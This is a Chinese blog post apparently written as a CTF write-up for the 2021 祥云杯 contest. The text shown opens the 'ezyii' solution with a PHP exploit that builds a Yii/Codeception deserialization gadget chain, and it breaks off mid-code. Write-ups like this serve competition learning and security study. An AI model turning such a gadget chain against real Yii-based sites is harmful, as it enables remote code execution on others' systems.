[祥云杯2021]几道简单题的wp

最新推荐文章于 2022-11-01 15:24:27 发布

huamanggg

最新推荐文章于 2022-11-01 15:24:27 发布

阅读量4.3k

点赞数 14

分类专栏：比赛wp 文章标签： php 安全信息安全 web

本文链接：https://blog.csdn.net/m0_51078229/article/details/119840772

版权

本文详细记录了祥云杯2021中的一道安全题目，涉及PHP SSRF漏洞利用、源码泄露、信息取证等过程。通过分析题目提供的链子，利用反序列化漏洞，逐步揭示了如何通过session绕过过滤，执行系统命令获取flag，并介绍了使用volatility进行内存取证和密码破解的方法。

摘要由CSDN通过智能技术生成

ezyii

https://xz.aliyun.com/t/9948

找yii链子打，开局就给了反序列化，看了一下是文章里面的第四条链子

exp

<?php
namespace Codeception\Extension{
   
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
   
        protected $output;
        private $processes = [];
        public function __construct(){
   
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
   
    class DefaultGenerator
{
   
    protected $default;

    public function __construct($default = null)
    {
   
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
   
    use Faker\DefaultGenerator;
    final class AppendStream{
   
        private $streams